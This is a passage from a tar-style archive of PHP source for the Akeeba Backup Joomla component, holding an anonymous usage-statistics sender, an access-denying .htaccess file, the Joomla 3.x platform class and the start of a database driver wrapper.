		}
	}

	/**
	 * Uploads collected data to the remote server
	 *
	 * @param   bool  $useIframe  Should I create an iframe to upload data or should I use cURL/fopen?
	 *
	 * @return  string|bool  The HTML code if an iframe is requested or a boolean if we're using cURL/fopen
	 */
	public function sendInfo($useIframe = false)
	{
		// No site ID? Well, simply do nothing
		if (!$this->siteId)
		{
			return '';
		}

		// First of all let's add the siteId
		$this->setValue('sid', $this->siteId);

		// Then let's create the url
		$url = $this->remoteUrl . '?' . http_build_query($this->data);

		// Should I create an iframe?
		if ($useIframe)
		{
			return '<!-- Anonymous usage statistics collection for Akeeba software --><iframe style="display: none" src="' . $url . '"></iframe>';
		}

		// Do we have cURL installed?
		if (
			function_exists('curl_init')
			&& function_exists('curl_setopt')
			&& function_exists('curl_exec'))
		{
			$ch = curl_init($url);

			curl_setopt($ch, CURLOPT_TIMEOUT, 5);

			return curl_exec($ch);
		}

		// We do not have cURL. Let's try with fopen instead.
		return @fopen($url, 'r');
	}
}
com_akeeba/BackupPlatform/.htaccess000060400000000246152455305260013327 0ustar00<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
<IfModule mod_authz_core.c>
  <RequireAll>
    Require all denied
  </RequireAll>
</IfModule>
com_akeeba/BackupPlatform/Joomla3x/Platform.php000060400000072323152455305260015527 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Platform;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Joomla;
use Akeeba\Engine\Driver\Mysql;
use Akeeba\Engine\Driver\Mysqli;
use Akeeba\Engine\Driver\Pdomysql;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Finalization\TestExtract;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Platform\Base as BasePlatform;
use Akeeba\Engine\Psr\Log\LogLevel;
use DateTimeZone;
use Exception;
use FOF40\Container\Container;
use FOF40\Date\Date;
use JLoader;
use JMail;
use Joomla\CMS\Access\Access;
use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Filesystem\Folder;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Mail\Mail;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Version;

if (!defined('DS'))
{
	define('DS', DIRECTORY_SEPARATOR); // Still required by Joomla! :(
}

/**
 * Joomla! 3.x platform class
 */
class Joomla3x extends BasePlatform
{
	/**
	 * Override profile ID, for use in automated testing only
	 *
	 * @var   int|null
	 */
	public static $profile_id = null;
	/**
	 * Platform class priority
	 *
	 * @var  int
	 */
	public $priority = 53;
	/**
	 * This platform's name
	 *
	 * @var  string
	 */
	public $platformName = 'joomla3x';
	/**
	 * The container of the Akeeba Backup component
	 *
	 * @var  Container
	 */
	protected $container = null;
	/**
	 * Flash variables for the CLI application. We use this array since we're hell bent on NOT using Joomla's broken
	 * session package.
	 *
	 * @var   array
	 *
	 * @since 5.3.5
	 */
	protected $flashVariables = [];

	/**
	 * Public constructor
	 */
	function __construct()
	{
		$this->container = Container::getInstance('com_akeeba');
	}

	public static function quirk_013()
	{
		$stock_dirs  = Platform::getInstance()->get_stock_directories();
		$default_out = @realpath($stock_dirs['[DEFAULT_OUTPUT]']);

		$registry = Factory::getConfiguration();
		$outdir   = $registry->get('akeeba.basic.output_directory');

		foreach ($stock_dirs as $macro => $replacement)
		{
			$outdir = str_replace($macro, $replacement, $outdir);
		}

		$outdir_real = @realpath($outdir);

		// If the output folder is the default one (or any subdir), we are safe
		if (strpos($outdir_real, $default_out) !== false)
		{
			return false;
		}

		$component_path = @realpath(JPATH_ADMINISTRATOR . '/components/com_akeeba');

		$forbiddenPaths = [
			'akeeba',
			'AliceChecks',
			'AliceEngine',
			'alice',
			'assets',
			'Assets',
			'BackupEngine',
			'BackupPlatform',
			'Controller',
			'controllers',
			'Dispatcher',
			'engine',
			'fields',
			'Helper',
			'helpers',
			'Master',
			'Model',
			'models',
			'platform',
			'plugins',
			'sql',
			'tables',
			'Toolbar',
			'View',
			'views',
			'ViewTemplates',
		];

		foreach ($forbiddenPaths as $subdir)
		{
			$checkPath = realpath($component_path . '/' . $subdir);

			if ($checkPath === false)
			{
				continue;
			}

			$checkPath .= DIRECTORY_SEPARATOR;

			if (strpos($outdir_real, $checkPath) === 0)
			{
				return true;
			}
		}

		return false;
	}

	public static function quirk_400()
	{
		return version_compare(JVERSION, '4.0', 'ge');
	}

	/**
	 * Loads the current configuration off the database table
	 *
	 * @param   int  $profile_id  The profile where to read the configuration from, defaults to current profile
	 *
	 * @return  bool  True if everything was read properly
	 */
	public function load_configuration($profile_id = null, $reset = true)
	{
		// Load the configuration
		parent::load_configuration($profile_id, $reset);

		// If there is no embedded installer or the wrong embedded installer is selected, fix it automatically
		$config             = Factory::getConfiguration();
		$embedded_installer = $config->get('akeeba.advanced.embedded_installer', null);

		if (empty($embedded_installer) || ($embedded_installer == 'angie-joomla'))
		{
			$protectedKeys = $config->getProtectedKeys();
			$config->setProtectedKeys([]);
			$config->set('akeeba.advanced.embedded_installer', 'angie');
			$config->setProtectedKeys($protectedKeys);
		}

		return true;
	}

	/**
	 * Saves the current configuration to the database table
	 *
	 * @param   int  $profile_id  The profile where to save the configuration to, defaults to current profile
	 *
	 * @return  bool  True if everything was saved properly
	 */
	public function save_configuration($profile_id = null)
	{
		// If there is no embedded installer or the wrong embedded installer is selected, fix it automatically
		$config             = Factory::getConfiguration();
		$embedded_installer = $config->get('akeeba.advanced.embedded_installer', null);

		if (empty($embedded_installer) || ($embedded_installer == 'angie-joomla'))
		{
			$protectedKeys = $config->getProtectedKeys();
			$config->setProtectedKeys([]);
			$config->set('akeeba.advanced.embedded_installer', 'angie');
			$config->setProtectedKeys($protectedKeys);
		}

		// Save the configuration
		return parent::save_configuration($profile_id);
	}

	/**
	 * Performs heuristics to determine if this platform object is the ideal
	 * candidate for the environment Akeeba Engine is running in.
	 *
	 * @return bool
	 */
	public function isThisPlatform()
	{
		// Make sure _JEXEC is defined
		if (!defined('_JEXEC'))
		{
			return false;
		}

		// We need JVERSION to be defined
		if (!defined('JVERSION'))
		{
			return false;
		}

		// Check if the Joomla Factory class exists
		if (!class_exists('JFactory') && !class_exists('Joomla\CMS\Factory'))
		{
			return false;
		}

		// Check if a valid application class exists
		$appExists = class_exists('Joomla\CMS\Application\CMSApplication')
			|| class_exists('Joomla\CMS\Application\CliApplication')
			|| class_exists('FOFApplicationCLI');

		if (!$appExists)
		{
			return false;
		}

		return true;
	}

	/**
	 * Returns an associative array of stock platform directories
	 *
	 * @return array
	 */
	public function get_stock_directories()
	{
		static $stock_directories = [];

		if (empty($stock_directories))
		{
			$jreg                                  = $this->container->platform->getConfig();
			$tmpdir                                = $jreg->get('tmp_path');
			$stock_directories['[SITEROOT]']       = $this->get_site_root();
			$stock_directories['[ROOTPARENT]']     = @realpath($this->get_site_root() . '/..');
			$stock_directories['[SITETMP]']        = $tmpdir;
			$stock_directories['[DEFAULT_OUTPUT]'] = $this->get_site_root() . '/administrator/components/com_akeeba/backup';
		}

		return $stock_directories;
	}

	/**
	 * Returns the absolute path to the site's root
	 *
	 * @return string
	 */
	public function get_site_root()
	{
		static $root = null;

		if (empty($root) || is_null($root))
		{
			$root = JPATH_ROOT;

			if (empty($root) || ($root == DIRECTORY_SEPARATOR) || ($root == '/'))
			{
				// Try to get the current root in a different way
				if (function_exists('getcwd'))
				{
					$root = getcwd();
				}

				if ($this->container->platform->isBackend())
				{
					if (empty($root))
					{
						$root = '../';
					}
					else
					{
						$adminPos = strpos($root, 'administrator');
						if ($adminPos !== false)
						{
							$root = substr($root, 0, $adminPos);
						}
						else
						{
							$root = '../';
						}

						// Degenerate case where $root = 'administrator'
						// without a leading slash before entering this
						// if-block
						if (empty($root))
						{
							$root = '../';
						}
					}
				}
				else
				{
					if (empty($root) || ($root == DIRECTORY_SEPARATOR) || ($root == '/'))
					{
						$root = './';
					}
				}
			}

			if (!in_array(substr($root, -1), ['/', '\\']))
			{
				$root .= DIRECTORY_SEPARATOR;
			}
		}

		return $root;
	}

	/**
	 * Returns the absolute path to the installer images directory
	 *
	 * @return string
	 */
	public function get_installer_images_path()
	{
		return JPATH_ADMINISTRATOR . '/components/com_akeeba/Master/Installers';
	}

	/**
	 * Returns the active profile number
	 *
	 * @return int
	 */
	public function get_active_profile()
	{
		// Automated testing override
		if (!is_null(self::$profile_id) && (self::$profile_id > 0))
		{
			return self::$profile_id;
		}
		// Constant override
		elseif (defined('AKEEBA_PROFILE'))
		{
			return AKEEBA_PROFILE;
		}
		// Use the session. If it's a CLI app always default to profile #1 (unless explicitly set otherwise)
		else
		{
			$defaultProfile = $this->container->platform->isCli() ? 1 : null;

			return $this->container->platform->getSessionVar('profile', $defaultProfile, 'akeeba');
		}
	}

	/**
	 * Returns the selected profile's name. If no ID is specified, the current
	 * profile's name is returned.
	 *
	 * @return string
	 */
	public function get_profile_name($id = null)
	{
		if (empty($id))
		{
			$id = $this->get_active_profile();
		}
		$id = (int) $id;

		$db  = Factory::getDatabase($this->get_platform_database_options());
		$sql = $db->getQuery(true)
			->select($db->qn('description'))
			->from($db->qn('#__ak_profiles'))
			->where($db->qn('id') . ' = ' . $db->q($id));
		$db->setQuery($sql);

		return $db->loadResult();
	}

	/**
	 * Returns the backup origin
	 *
	 * @return string Backup origin: backend|frontend
	 */
	public function get_backup_origin()
	{
		if (defined('AKEEBA_BACKUP_ORIGIN'))
		{
			return AKEEBA_BACKUP_ORIGIN;
		}

		if ($this->container->platform->isBackend())
		{
			return 'backend';
		}

		if ($this->container->platform->isFrontend())
		{
			return 'frontend';
		}

		return 'cli';
	}

	/**
	 * Returns a MySQL-formatted timestamp out of the current date
	 *
	 * @param   string  $date  [optional] The timestamp to use. Omit to use current timestamp.
	 *
	 * @return string
	 */
	public function get_timestamp_database($date = 'now')
	{
		$date = new Date($date);

		if (method_exists($date, 'toSql'))
		{
			return $date->toSql();
		}

		if (method_exists($date, 'toMySQL'))
		{
			return $date->toMySQL();
		}


		return '0000-00-00 00:00:00';
	}

	/**
	 * Returns the current timestamp, taking into account any TZ information,
	 * in the format specified by $format.
	 *
	 * @param   string  $format  Timestamp format string (standard PHP format string)
	 *
	 * @return string
	 */
	public function get_local_timestamp($format)
	{
		// Do I have a forced timezone?
		$tz = $this->get_platform_configuration_option('forced_backup_timezone', 'AKEEBA/DEFAULT');

		// No forced timezone set? Use the default Joomla! behavior.
		if (empty($tz) || ($tz == 'AKEEBA/DEFAULT'))
		{
			$tz = $this->getJoomlaTimezone();
		}

		$utcTimeZone = new DateTimeZone('UTC');
		$dateNow     = new Date('now', $utcTimeZone);
		$timezone    = new DateTimeZone($tz);
		$dateNow->setTimezone($timezone);

		return $dateNow->format($format, true);
	}

	/**
	 * Returns the current host name
	 *
	 * @return string
	 */
	public function get_host()
	{
		if ($this->container->platform->isCli())
		{
			$url  = Platform::getInstance()->get_platform_configuration_option('siteurl', '');
			$oURI = new Uri($url);
		}
		else
		{
			// Running under the web server
			$oURI = Uri::getInstance();
		}

		return $oURI->getHost();
	}

	public function get_site_name()
	{
		$jconfig = $this->container->platform->getConfig();

		return $jconfig->get('sitename', '');
	}

	/**
	 * Gets the best matching database driver class, according to CMS settings
	 *
	 * @param   bool  $use_platform  If set to false, it will forcibly try to assign one of the primitive type
	 *                               (Mysql/Mysqli) and NEVER tell you to use a platform driver.
	 *
	 * @return string
	 */
	public function get_default_database_driver($use_platform = true)
	{
		$jconfig = $this->container->platform->getConfig();
		$driver  = $jconfig->get('dbtype');
		$driver  = strtolower($driver);

		$hasPdo    = class_exists('\PDO');
		$hasMySQL  = function_exists('mysql_connect');
		$hasMySQLi = function_exists('mysqli_connect');

		// Prime with a default return value, favoring PDO MySQL if available
		$defaultDriver = Pdomysql::class;

		if (!$hasPdo)
		{
			// Second best choice is MySQLi
			$defaultDriver = Mysqli::class;

			// Third best choice is MySQL
			if (!$hasMySQLi && $hasMySQL)
			{
				$defaultDriver = Mysql::class;
			}
		}

		// Let's see what driver Joomla! uses...
		if ($use_platform)
		{
			$hasNookuContent = file_exists(JPATH_ROOT . '/plugins/system/nooku.php');

			switch ($driver)
			{
				// MySQL or MySQLi drivers are known to be working; use their
				// Akeeba Engine extended version, Akeeba\Engine\Driver\Joomla
				case 'mysql':
					// So, Joomla! 4's "mysql" is, actually, "pdomysql". Therefore I can use our own wrapper driver
					if (version_compare(JVERSION, '3.999.999', 'gt'))
					{
						return Joomla::class;
					}

					// The piece of crap called FaLang is lying about the database driver
					if (!$hasMySQL)
					{
						return Mysqli::class;
					}

					if ($hasNookuContent)
					{
						return Mysql::class;
					}

					return Joomla::class;

					break;

				case 'mysqli':
					if ($hasNookuContent)
					{
						return Mysqli::class;
					}

					return Joomla::class;

					break;

				// Any other case, use our platform-specific driver
				default:
					return Joomla::class;

					break;
			}
		}

		// Is this a subcase of mysqli or mysql drivers?
		if (substr($driver, 0, 8) == 'pdomysql')
		{
			return Pdomysql::class;
		}
		elseif (substr($driver, 0, 6) == 'mysqli')
		{
			return Mysqli::class;
		}
		elseif (substr($driver, 0, 5) == 'mysql')
		{
			// The piece of crap called FaLang is lying about the database driver
			if (!$hasMySQL)
			{
				return Mysqli::class;
			}

			return Mysql::class;
		}

		// Sometimes we get driver names in the form of foomysql instead of mysqlfoo. Let's look for that too.
		if (substr($driver, -8) == 'pdomysql')
		{
			return Pdomysql::class;
		}
		elseif (substr($driver, -6) == 'mysqli')
		{
			return Mysqli::class;
		}
		elseif (substr($driver, -5) == 'mysql')
		{
			/**
			 * Apparently there are some folks of dubious intelligence out there writing custom database drivers without
			 * understanding or caring about the differences between mysql and mysqli drivers in PHP. They don't play
			 * nice but I have my way to work around their ignorance, FORCING mysqli when they erroneously report mysql
			 * on servers which no longer support this ancient, obsolete database connector. Of course the proper way
			 * to address this would be having these folks fix their broken software but I think I'm asking for too
			 * much. They know who they are, fa la la...
			 */
			if (!$hasMySQL)
			{
				return Mysqli::class;
			}

			return Mysql::class;
		}

		// I give up! You'd better be usign a MySQL db server.
		return $defaultDriver;
	}

	/**
	 * Returns a set of options to connect to the default database of the current CMS
	 *
	 * @return array
	 */
	public function get_platform_database_options()
	{
		static $options;

		if (empty($options))
		{
			$conf    = $this->container->platform->getConfig();
			$options = [
				'host'     => $conf->get('host'),
				'user'     => $conf->get('user'),
				'password' => $conf->get('password'),
				'database' => $conf->get('db'),
				'prefix'   => $conf->get('dbprefix'),
			];
		}

		return $options;
	}

	/**
	 * Provides a platform-specific translation function
	 *
	 * @param   string  $key  The translation key
	 *
	 * @return string
	 */
	public function translate($key)
	{
		return Text::_($key);
	}

	/**
	 * Populates global constants holding the Akeeba version
	 */
	public function load_version_defines()
	{
		$basePath = JPATH_ADMINISTRATOR . '/components/com_akeeba';

		if (file_exists($basePath . '/version.php'))
		{
			require_once($basePath . '/version.php');
		}

		if (!defined('AKEEBA_VERSION'))
		{
			define("AKEEBA_VERSION", "dev");
		}
		if (!defined('AKEEBA_PRO'))
		{
			define('AKEEBA_PRO', false);
		}
		if (!defined('AKEEBA_DATE'))
		{
			$date = new Date();

			define("AKEEBA_DATE", $date->format('Y-m-d'));
		}
	}

	/**
	 * Returns the platform name and version
	 *
	 * @param   string  $platform_name  Name of the platform, e.g. Joomla!
	 * @param   string  $version        Full version of the platform
	 */
	public function getPlatformVersion()
	{
		$v = new Version();

		return [
			'name'    => 'Joomla!',
			'version' => $v->getShortVersion(),
		];
	}

	/**
	 * Logs platform-specific directories with LogLevel::INFO log level
	 */
	public function log_platform_special_directories()
	{
		$ret = [];

		Factory::getLog()->log(LogLevel::INFO, "JPATH_BASE         :" . JPATH_BASE, ['translate_root' => false]);
		Factory::getLog()->log(LogLevel::INFO, "JPATH_SITE         :" . JPATH_SITE, ['translate_root' => false]);
		Factory::getLog()->log(LogLevel::INFO, "JPATH_ROOT         :" . JPATH_ROOT, ['translate_root' => false]);
		Factory::getLog()->log(LogLevel::INFO, "JPATH_CACHE        :" . JPATH_CACHE, ['translate_root' => false]);
		Factory::getLog()->log(LogLevel::INFO, "Computed <root>    :" . $this->get_site_root(), ['translate_root' => false]);

		// If the release is older than 3 months, issue a warning
		if (defined('AKEEBA_DATE'))
		{
			$releaseDate = new Date(AKEEBA_DATE);

			if (time() - $releaseDate->toUnix() > 10368000)
			{
				if (!isset($ret['warnings']))
				{
					$ret['warnings'] = [];
					$ret['warnings'] = array_merge($ret['warnings'], [
						'Your version of Akeeba Backup is more than 120 days old and most likely already out of date. Please check if a newer version is published and install it.',
					]);
				}
			}

		}

		// Detect UNC paths and warn the user
		if (DIRECTORY_SEPARATOR == '\\')
		{
			if ((substr(JPATH_ROOT, 0, 2) == '\\\\') || (substr(JPATH_ROOT, 0, 2) == '//'))
			{
				if (!isset($ret['warnings']))
				{
					$ret['warnings'] = [];
				}

				$ret['warnings'] = array_merge($ret['warnings'], [
					'Your site\'s root is using a UNC path (e.g. \\\\SERVER\\path\\to\\root). PHP has known bugs which may',
					'prevent it from working properly on a site like this. Please take a look at',
					'https://bugs.php.net/bug.php?id=40163 and https://bugs.php.net/bug.php?id=52376. As a result your',
					'backup may fail.',
				]);
			}
		}

		if (empty($ret))
		{
			$ret = null;
		}

		return $ret;
	}

	/**
	 * Loads a platform-specific software configuration option
	 *
	 * @param   string  $key
	 * @param   mixed   $default
	 *
	 * @return mixed
	 */
	public function get_platform_configuration_option($key, $default)
	{
		$value = $this->container->params->get($key, $default);

		// Some configuration options may have to be decrypted
		switch ($key)
		{
			case 'frontend_secret_word':
				$secureSettings = Factory::getSecureSettings();
				$value          = $secureSettings->decryptSettings($value);
				break;
		}

		return $value;
	}

	/**
	 * Returns a list of emails to the Super Administrators
	 *
	 * @return  array
	 */
	public function get_administrator_emails()
	{
		$options = $this->get_platform_database_options();
		$db      = Factory::getDatabase($options);

		// Get all usergroups with Super User access
		$q      = $db->getQuery(true)
			->select([$db->qn('id')])
			->from($db->qn('#__usergroups'));
		$groups = $db->setQuery($q)->loadColumn();

		// Get the groups that are Super Users
		$groups = array_filter($groups, function ($gid) {
			return Access::checkGroup($gid, 'core.admin');
		});

		$mails = [];

		foreach ($groups as $gid)
		{
			$uids = Access::getUsersByGroup($gid);
			array_walk($uids, function ($uid, $index) use (&$mails) {
				$mails[] = $this->container->platform->getUser($uid)->email;
			});
		}

		return array_unique($mails);
	}

	/**
	 * Sends a very simple email using the platform's mailer facility
	 *
	 * @param   string  $to          The recipient's email address
	 * @param   string  $subject     The subject of the email
	 * @param   string  $body        The body of the email
	 * @param   string  $attachFile  The file to attach (null to not attach any files)
	 *
	 * @return  boolean
	 */
	public function send_email($to, $subject, $body, $attachFile = null)
	{
		Factory::getLog()->log(LogLevel::DEBUG, "-- Fetching mailer object");

		/** @var JMail $mailer */
		try
		{
			$mailer = Platform::getInstance()->getMailer();
		}
		catch (Exception $e)
		{
			$mailer = null;
		}

		if (!is_object($mailer))
		{
			Factory::getLog()->log(LogLevel::WARNING, "Could not send email to $to - Joomla! cannot send e-mails. Please check your From EMail and From Name fields in Global Configuration.");

			return false;
		}

		Factory::getLog()->log(LogLevel::DEBUG, "-- Creating email message");

		try
		{
			$recipient = [$to];

			$mailer->addRecipient($recipient);
			$mailer->setSubject($subject);
			$mailer->setBody($body);
		}
		catch (Exception $e)
		{
			Factory::getLog()->log(LogLevel::WARNING, "Could not send email to $to - Problem setting up the email. Joomla! reports error: " . $e->getMessage());

			return false;
		}

		try
		{
			if (!empty($attachFile))
			{
				Factory::getLog()->log(LogLevel::INFO, "-- Attaching $attachFile");

				if (!file_exists($attachFile) || !(is_file($attachFile) || is_link($attachFile)))
				{
					Factory::getLog()->log(LogLevel::WARNING, "The file does not exist, or it's not a file; no email sent");

					return false;
				}

				if (!is_readable($attachFile))
				{
					Factory::getLog()->log(LogLevel::WARNING, "The file is not readable; no email sent");

					return false;
				}

				$filesize = @filesize($attachFile);

				if ($filesize)
				{
					// Check that we have AT LEAST 2.5 times free RAM as the filesize (that's how much we'll need)
					if (!function_exists('ini_get'))
					{
						// Assume 8Mb of PHP memory limit (worst case scenario)
						$totalRAM = 8388608;
					}
					else
					{
						$totalRAM = ini_get('memory_limit');
						if (strstr($totalRAM, 'M'))
						{
							$totalRAM = (int) $totalRAM * 1048576;
						}
						elseif (strstr($totalRAM, 'K'))
						{
							$totalRAM = (int) $totalRAM * 1024;
						}
						elseif (strstr($totalRAM, 'G'))
						{
							$totalRAM = (int) $totalRAM * 1073741824;
						}
						else
						{
							$totalRAM = (int) $totalRAM;
						}
						if ($totalRAM <= 0)
						{
							// No memory limit? Cool! Assume 1Gb of available RAM (which is absurdely abundant as of March 2011...)
							$totalRAM = 1086373952;
						}
					}
					if (!function_exists('memory_get_usage'))
					{
						$usedRAM = 8388608;
					}
					else
					{
						$usedRAM = memory_get_usage();
					}

					$availableRAM = $totalRAM - $usedRAM;

					if ($availableRAM < 2.5 * $filesize)
					{
						Factory::getLog()->log(LogLevel::WARNING, "The file is too big to be sent by email. Please use a smaller Part Size for Split Archives setting.");
						Factory::getLog()->log(LogLevel::DEBUG, "Memory limit $totalRAM bytes -- Used memory $usedRAM bytes -- File size $filesize -- Attachment requires approx. " . (2.5 * $filesize) . " bytes");

						return false;
					}
				}
				else
				{
					Factory::getLog()->log(LogLevel::WARNING, "Your server fails to report the file size of $attachFile. If the backup crashes, please use a smaller Part Size for Split Archives setting");
				}

				$mailer->addAttachment($attachFile);
			}
		}
		catch (Exception $e)
		{
			Factory::getLog()->log(LogLevel::WARNING, "Could not send email to $to - Problem attaching file. Joomla! reports error: " . $e->getMessage());

			return false;
		}

		Factory::getLog()->log(LogLevel::DEBUG, "-- Sending message");

		try
		{
			$result = $mailer->Send();
		}
		catch (Exception $e)
		{
			$result = $e;
		}

		if ($result instanceof Exception)
		{
			Factory::getLog()->log(LogLevel::WARNING, "Could not email $to:");
			Factory::getLog()->log(LogLevel::WARNING, $result->getMessage());
			$ret = $result->getMessage();
			unset($result);
			unset($mailer);

			return $ret;
		}

		Factory::getLog()->log(LogLevel::DEBUG, "-- Email sent");

		return true;
	}

	/**
	 * Deletes a file from the local server using direct file access or FTP
	 *
	 * @param   string  $file
	 *
	 * @return bool
	 */
	public function unlink($file)
	{
		if (function_exists('jimport'))
		{
			$result = File::delete($file);

			if (!$result)
			{
				$result = @unlink($file);
			}
		}
		else
		{
			$result = parent::unlink($file);
		}

		return $result;
	}

	/**
	 * Moves a file around within the local server using direct file access or FTP
	 *
	 * @param   string  $from
	 * @param   string  $to
	 *
	 * @return bool
	 */
	public function move($from, $to)
	{
		if (function_exists('jimport'))
		{
			$result = File::move($from, $to);

			// JFile failed. Let's try rename()
			if (!$result)
			{
				$result = @rename($from, $to);
			}
			// Rename failed, too. Let's try copy/delete
			if (!$result)
			{
				// Try copying with JFile. If it fails, use copy().
				$result = File::copy($from, $to);
				if (!$result)
				{
					$result = @copy($from, $to);
				}

				// If the copy succeeded, try deleting the original with JFile. If it fails, use unlink().
				if ($result)
				{
					$result = $this->unlink($from);
				}
			}
		}
		else
		{
			$result = parent::move($from, $to);
		}

		return $result;
	}

	/**
	 * Joomla!-specific function to get an instance of the mailer class
	 *
	 * @return Mail
	 */
	public function &getMailer()
	{
		$mailer = \Joomla\CMS\Factory::getMailer();
		if (!is_object($mailer))
		{
			Factory::getLog()->log(LogLevel::WARNING, "Fetching Joomla!'s mailer was impossible; imminent crash!");
		}
		else
		{
			$emailMethod = $mailer->Mailer;
			Factory::getLog()->log(LogLevel::DEBUG, "-- Joomla!'s mailer is using $emailMethod mail method.");
		}

		return $mailer;
	}

	/**
	 * Stores a flash (temporary) variable in the session.
	 *
	 * @param   string  $name   The name of the variable to store
	 * @param   string  $value  The value of the variable to store
	 *
	 * @return  void
	 */
	public function set_flash_variable($name, $value)
	{
		if ($this->container->platform->isCli())
		{
			$this->flashVariables[$name] = $value;

			return;
		}

		$this->container->platform->setSessionVar($name, $value, 'akeeba');
	}

	/**
	 * Return the value of a flash (temporary) variable from the session and
	 * immediately removes it.
	 *
	 * @param   string  $name     The name of the flash variable
	 * @param   mixed   $default  Default value, if the variable is not defined
	 *
	 * @return  mixed  The value of the variable or $default if it's not set
	 */
	public function get_flash_variable($name, $default = null)
	{
		if ($this->container->platform->isCli())
		{
			$ret = $default;

			if (isset($this->flashVariables[$name]))
			{
				$ret = $this->flashVariables[$name];
				unset($this->flashVariables[$name]);
			}

			return $ret;
		}

		$ret = $this->container->platform->getSessionVar($name, $default, 'akeeba');
		$this->container->platform->setSessionVar($name, null, 'akeeba');

		return $ret;
	}

	/**
	 * Perform an immediate redirection to the defined URL
	 *
	 * @param   string  $url  The URL to redirect to
	 *
	 * @return  void
	 */
	public function redirect($url)
	{
		$this->container->platform->redirect($url);
	}

	public function apply_quirk_definitions()
	{
		Factory::getConfigurationChecks()->addConfigurationCheckDefinition('013', 'critical', 'COM_AKEEBA_CPANEL_WARNING_Q013', [
			Joomla3x::class, 'quirk_013',
		]);
		Factory::getConfigurationChecks()->addConfigurationCheckDefinition('400', 'critical', 'COM_AKEEBA_CPANEL_WARNING_Q400', [
			Joomla3x::class, 'quirk_400',
		]);
	}

	/** @inheritdoc  */
	protected function detectProxySettings()
	{
		try
		{
			$app = \Joomla\CMS\Factory::getApplication();
		}
		catch (Exception $e)
		{
			$this->proxyEnabled                = false;
			$this->hasInitialisedProxySettings = true;
		}

		$enabled = $app->get('proxy_enable', false);
		$host    = $app->get('proxy_host', '');
		$port    = (int) $app->get('proxy_port', 8080);
		$user    = $app->get('proxy_user', '');
		$pass    = $app->get('proxy_pass', '');

		$this->setProxySettings($enabled, $host, $port, $user, $pass);
	}


	/**
	 * Registers Akeeba Engine's core classes with JLoader
	 *
	 * @param   string  $path_prefix  The path prefix to look in
	 */
	protected function register_akeeba_engine_classes($path_prefix)
	{
		global $Akeeba_Class_Map;

		foreach ($Akeeba_Class_Map as $class_prefix => $path_suffix)
		{
			// Bail out if there is such directory, so as not to have Joomla! throw errors
			if (!@is_dir($path_prefix . '/' . $path_suffix))
			{
				continue;
			}

			$file_list = Folder::files($path_prefix . '/' . $path_suffix, '.*\.php');
			if (is_array($file_list) && !empty($file_list))
			{
				foreach ($file_list as $file)
				{
					$class_suffix = ucfirst(basename($file, '.php'));
					JLoader::register($class_prefix . $class_suffix, $path_prefix . '/' . $path_suffix . '/' . $file);
				}
			}
		}
	}

	/**
	 * Get the applicable timezone in the same way Joomla! calculates it: if there is a logged in
	 * user with a specific timezone set, use it. Otherwise use the Server Timezone defined in the
	 * site's Global Configuration. If nothing is set there, use GMT instead.
	 *
	 * @return  string
	 */
	private function getJoomlaTimezone()
	{
		// Out ultimate default is the server timezone set up in the Global Configuration
		$jregistry = $this->container->platform->getConfig();
		$tz        = $jregistry->get('offset', 'GMT');

		// If this is a CLI script, tough luck, we can't use a different TZ
		if ($this->container->platform->isCli())
		{
			return $tz;
		}

		// If it's a guest user they can't have a special TZ set, return.
		$user = $this->container->platform->getUser();

		if ($user->guest)
		{
			return $tz;
		}

		$tz = $user->getParam('timezone', $tz);

		return $tz;
	}
}
com_akeeba/BackupPlatform/Joomla3x/Driver/Joomla.php000060400000010513152455305260016410 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Driver;

// Protection against direct access
defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Platform;
use Exception;
use Joomla\CMS\Factory;

class Joomla
{
	/** @var Base The real database connection object */
	private $dbo;

	/**
	 * Database object constructor
	 *
	 * @param   array  $options  List of options used to configure the connection
	 */
	public function __construct($options = [])
	{
		// Get best matching Akeeba Backup driver instance
		if (class_exists('JFactory'))
		{
			// Get the database driver *AND* make sure it's connected.
			$db = Factory::getDBO();
			$db->connect();

			$options['connection'] = $db->getConnection();

			switch ($db->name)
			{
				case 'mysql':
					// So, Joomla! 4's "mysql" is, actually, "pdomysql".
					$driver = 'mysql';

					if (version_compare(JVERSION, '3.999.999', 'gt'))
					{
						$driver = 'pdomysql';
					}
					break;

				case 'mysqli':
					$driver = 'mysqli';
					break;

				case 'pdomysql':
					$driver = 'pdomysql';
					break;

				default:
					throw new \RuntimeException("Unsupported database driver {$db->name}");

					break;
			}

			$driver = '\\Akeeba\\Engine\\Driver\\' . ucfirst($driver);
		}
		else
		{
			$driver = Platform::getInstance()->get_default_database_driver(false);
		}

		$this->dbo = new $driver($options);
	}

	public function close()
	{
		/**
		 * We should not, in fact, try to close the connection by calling the parent method.
		 *
		 * If you close the connection we ask PHP's mysql / mysqli / pdomysql driver to disconnect the MySQL connection
		 * resource from the database server inside our instance of Akeeba Engine's database driver. However, this
		 * identical resource is also present in Joomla's database driver. Joomla will also try to close the connection
		 * to a now invalid resource, causing a PHP notice to be recorded.
		 *
		 * By setting the connection resource to null in our own driver object we prevent closing the resource,
		 * delegating that responsibility to Joomla. It will gladly do so at the very least automatically, through its
		 * db driver's __destruct.
		 */
		$this->dbo->setConnection(null);
	}

	public function open()
	{
		if (method_exists($this->dbo, 'open'))
		{
			$this->dbo->open();
		}
		elseif (method_exists($this->dbo, 'connect'))
		{
			$this->dbo->connect();
		}
	}

	/**
	 * Magic method to proxy all calls to the loaded database driver object
	 *
	 * @throws  Exception
	 */
	public function __call($name, array $arguments)
	{
		if (is_null($this->dbo))
		{
			throw new Exception('Akeeba Engine database driver is not loaded');
		}

		if (method_exists($this->dbo, $name) || in_array($name, ['q', 'nq', 'qn']))
		{
			// Call_user_func_array is ~3 times slower than direct method calls.
			// (thank you, Nooku Framework, for the tip!)
